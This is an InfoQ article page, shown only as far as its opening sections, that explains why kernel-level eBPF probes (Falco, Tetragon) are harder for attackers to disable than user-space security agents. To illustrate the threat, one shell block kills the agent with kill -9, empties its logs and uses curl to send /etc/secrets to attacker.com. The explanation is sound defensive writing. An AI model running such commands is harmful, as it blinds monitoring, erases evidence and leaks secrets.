Kernel-Level Ground Truth: Why eBPF is Replacing User-Space Agents for Security Observability - InfoQ
BT
InfoQ Software Architects' Newsletter
A monthly overview of things you need to know as an architect or aspiring architect.
View an example
Enter your e-mail address
Select your country
Select a country
I consent to InfoQ.com handling my data as explained in this Privacy Notice.
We protect your privacy.
Close
Helpful links
About InfoQ
InfoQ Editors
Write for InfoQ
About C4Media
Diversity
Choose your language
En
中文
日本
Fr
Online InfoQ Architect Certification<br>The more senior you become, the fewer people pressure-test your decisions. This 5-week cohort gives you that check.
Register Now.
Online InfoQ Org Architect Certification<br>A practical online cohort for senior architects addressing team topologies, value stream architecture, cognitive load, and architecting for flow.
Register Now.
Online InfoQ AI Engineering Certification<br>A practical online cohort for senior engineers making decisions around retrieval, agents, evals, and AI infrastructure.
Register Now.
QCon San Francisco<br>Learn what's next in AI and software, from teams already doing it.
Register Now.
InfoQ Homepage
Articles
Kernel-Level Ground Truth: Why eBPF is Replacing User-Space Agents for Security Observability
DevOps
Kernel-Level Ground Truth: Why eBPF is Replacing User-Space Agents for Security Observability
May 19, 2026
min read
by
Niranjan Sharma
reviewed by
Matt Saunders
Write for InfoQ
Feed your curiosity.<br>Help 550k+ global<br>senior developers<br>each month stay ahead.Get in touch
Listen to this article - 0:00
Audio ready to play
Your browser does not support the audio element.
0:00
0:00
Normal1.25x1.5x
Like
Reading list
Key Takeaways
Application-level logging depends on the cooperation of the process being monitored. A compromised process can kill its own watchdog, rewrite logs, or simply skip generating them. Your security visibility should not hinge on an attacker's willingness to be observed.
eBPF attaches probes directly to the Linux kernel's syscall interface, giving you visibility that persists even when an attacker has root inside a container. Disabling an eBPF probe requires escaping to the host kernel, which is a far harder problem than running kill -9.
Replacing a stack of user-space security agents with a single eBPF-based agent can cut security-related CPU consumption by 60-80%, and the telemetry volume drops sharply because filtering happens in the kernel instead of in a SIEM you are paying per-GB for.
Roll out eBPF security in phases: observe first, alert second, enforce last. Skipping straight to enforcement is how you get paged at 3 AM because a detection rule killed your payment service.
Falco (CNCF graduated) and Tetragon (Cilium sub-project) are production-ready today. You do not need to write kernel code to get started.
Introduction
Last year I was looking into a post-mortem from an incident where a container breakout went completely undetected in a production Kubernetes cluster. The security team pulled up dashboards, scrolled through logs, and found nothing useful. Turns out the attacker had killed the logging sidecar as a first move. Everything that happened after that was invisible.
The attack itself was not particularly clever. The monitoring stack just had a structural weakness baked in: the agent shared user space with the thing it was supposed to watch. Root in the container meant kill -9 on the agent, truncate on the log files, and then free rein. Fileless payloads via memfd_create() never touched the filesystem. Process injection hid behind trusted PIDs. The logging layer was the softest target in the whole setup.
That write-up got me digging into eBPF seriously. Every process, malicious or not, has to cross the syscall boundary to open files, connect to the network, or spawn children. eBPF lets you instrument that boundary inside the kernel itself, where a container-level attacker simply cannot reach it.
This article covers the architecture behind eBPF-based security monitoring, how to roll it out without breaking production, the cost story at scale, and which tools are worth your time right now.
The Problem with User-Space Security Agents
Living at the Same Privilege Level as the Threat
Most Kubernetes security monitoring runs as sidecar containers or DaemonSets, basically user-space processes sitting alongside the workloads they watch.
Figure 1: Traditional sidecar-based security monitoring. The agent shares the same privilege boundary as the workloads it monitors. (Original diagram by the author)
This architecture has a fundamental issue: the security agent and the attacker operate at the same level. With root in the container, an attacker can:
$ kill -9 $(pgrep security-agent)<br>$ truncate -s 0 /var/log/agent/*.log<br>$ curl http://attacker.com/exfil -d @/etc/secrets
No alert ever fires because the agent was dead before anything interesting...